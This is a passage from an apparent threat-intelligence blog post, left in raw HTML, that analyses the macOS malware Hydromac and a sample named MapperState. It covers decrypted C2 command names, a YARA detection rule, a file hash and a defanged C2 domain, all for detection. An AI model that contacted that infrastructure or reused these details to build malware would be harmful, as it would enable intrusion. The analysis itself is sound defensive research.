data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:355,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!4beo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png 424w, https://substackcdn.com/image/fetch/$s_!4beo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png 848w, https://substackcdn.com/image/fetch/$s_!4beo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png 1272w, https://substackcdn.com/image/fetch/$s_!4beo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd21ab3ad-c25b-427f-af88-7fb35416effc_700x355.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Tarmac and Hydromac Flashcards</p><p>Looking at Hydromac messages flashcards, we found the exact commands in our MapperState sample! see listed below, as an example the command <strong>HM_RA_Download_Started_1</strong> (<strong>HM</strong> referring to <strong>Hydromac</strong>) that we decrypted from the sample are listed in the Flashcards app published by Individual X:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZMnc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZMnc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png 424w, https://substackcdn.com/image/fetch/$s_!ZMnc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png 848w, https://substackcdn.com/image/fetch/$s_!ZMnc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png 1272w, https://substackcdn.com/image/fetch/$s_!ZMnc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZMnc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png" width="1202" height="544" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:544,&quot;width&quot;:1202,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!ZMnc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png 424w, https://substackcdn.com/image/fetch/$s_!ZMnc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png 848w, https://substackcdn.com/image/fetch/$s_!ZMnc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png 1272w, https://substackcdn.com/image/fetch/$s_!ZMnc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0fe98ccb-02e7-4bb4-8688-e96a78f334b3_1202x544.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-I_W!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-I_W!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png 424w, https://substackcdn.com/image/fetch/$s_!-I_W!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png 848w, https://substackcdn.com/image/fetch/$s_!-I_W!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png 1272w, https://substackcdn.com/image/fetch/$s_!-I_W!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-I_W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png" width="1456" height="1122" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1122,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!-I_W!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png 424w, https://substackcdn.com/image/fetch/$s_!-I_W!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png 848w, https://substackcdn.com/image/fetch/$s_!-I_W!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png 1272w, https://substackcdn.com/image/fetch/$s_!-I_W!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5d6c9b79-3685-40c2-9464-ce9ce26152a1_1698x1308.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Another command <strong>HM_RA_Init_1</strong> sent from MapperState. This time we dumped it from the debugger to confirm that it was really sent to the C2. We do this as sometimes malware contains random strings that are not even used. below is MapperState <strong>HM_RA_Init_1 </strong>command before it get encrypted and sent to the C2 server:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kAfp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kAfp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png 424w, https://substackcdn.com/image/fetch/$s_!kAfp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png 848w, https://substackcdn.com/image/fetch/$s_!kAfp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png 1272w, https://substackcdn.com/image/fetch/$s_!kAfp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kAfp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png" width="700" height="87" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:87,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!kAfp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png 424w, https://substackcdn.com/image/fetch/$s_!kAfp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png 848w, https://substackcdn.com/image/fetch/$s_!kAfp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png 1272w, https://substackcdn.com/image/fetch/$s_!kAfp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F276c0610-c9d9-4c94-a9f5-00b11a880129_700x87.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>MapperState C2 traffic decrypted</p><p>This command <strong>HM_RA_Init_1 </strong>is listed in the flashcard app for <strong>Hydromac</strong>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wr5U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wr5U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png 424w, https://substackcdn.com/image/fetch/$s_!wr5U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png 848w, https://substackcdn.com/image/fetch/$s_!wr5U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png 1272w, https://substackcdn.com/image/fetch/$s_!wr5U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wr5U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png" width="700" height="545" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/4dd01f64-4503-416d-872c-683927e3136a_700x545.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:545,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!wr5U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png 424w, https://substackcdn.com/image/fetch/$s_!wr5U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png 848w, https://substackcdn.com/image/fetch/$s_!wr5U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png 1272w, https://substackcdn.com/image/fetch/$s_!wr5U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dd01f64-4503-416d-872c-683927e3136a_700x545.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Hydromac Messages</p><p>So did we finally found Hydromac ? The answer is yes and no. The sample we found (MapperState) is actually a Hydromac Root Agent (referred to as <strong>HM_RA_XXX</strong>) in the flashcard apps, doesn&#8217;t have all the commands listed in the <strong>Hydromac</strong> Flashcards app, but only initial commands referring to downloading and executing other binaries.</p><p>Beside the <strong>Hydromac</strong> Root Agent that we found, there&#8217;s a <strong>Hydromac</strong> Agent and a <strong>Hydromac</strong> Agent Plugin (based on the Flashcards app leaks). Writing a simple yara rule, helped us locating some Hydromac components, in an online malware repository.</p><p>This rule will look for anything related to Hydromac Root Agent, Hydromac Agent or Hydromac Plugin, components:</p><pre><code>rule CFNT_HYDROMAC_COMPONENTS
{
meta:
author = &#8220;taha@confiant.com&#8221;strings:
$a = &#8220;HM_A_Init_1&#8221;
$b = &#8220;HM_A_Init_1&#8221; wide ascii
$c = &#8220;HM_RA_Init_1&#8221;
$d = &#8220;HM_RA_Init_1&#8221; wide ascii
$e = &#8220;HM_A_P_Init_1&#8221;
$f = &#8220;HM_A_P_Init_1&#8221; wide asciicondition:
    ($a) or ($b) or ($c) or ($d) or ($e) or ($f)
}</code></pre><p>At the time when we did a retro hunt, it gave us a single hit, which was a <strong>Hydromac</strong> Agent, and with all debug symbols:</p><pre><code>7f7c7e1b181142592b2f8b7c823a969fb79160c9a5920abd718364eae98d1496
</code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!p8l7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!p8l7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png 424w, https://substackcdn.com/image/fetch/$s_!p8l7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png 848w, https://substackcdn.com/image/fetch/$s_!p8l7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png 1272w, https://substackcdn.com/image/fetch/$s_!p8l7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!p8l7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png" width="700" height="178" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:178,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!p8l7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png 424w, https://substackcdn.com/image/fetch/$s_!p8l7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png 848w, https://substackcdn.com/image/fetch/$s_!p8l7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png 1272w, https://substackcdn.com/image/fetch/$s_!p8l7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3e686d52-bca6-4540-b78b-359a84e2d08c_700x178.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Hydromac Agent sample strings dump</p><p>Interestingly, among the strings, I found that this <strong>Hydromac</strong> Agent, communicated with a known C2 server: <strong>api[.]mughthesec.com</strong></p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WQqr!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WQqr!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png 424w, https://substackcdn.com/image/fetch/$s_!WQqr!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png 848w, https://substackcdn.com/image/fetch/$s_!WQqr!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png 1272w, https://substackcdn.com/image/fetch/$s_!WQqr!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa2f035ec-505e-41f2-8592-036d25e773d0_700x151.png 1456w" sizes="100vw"><img 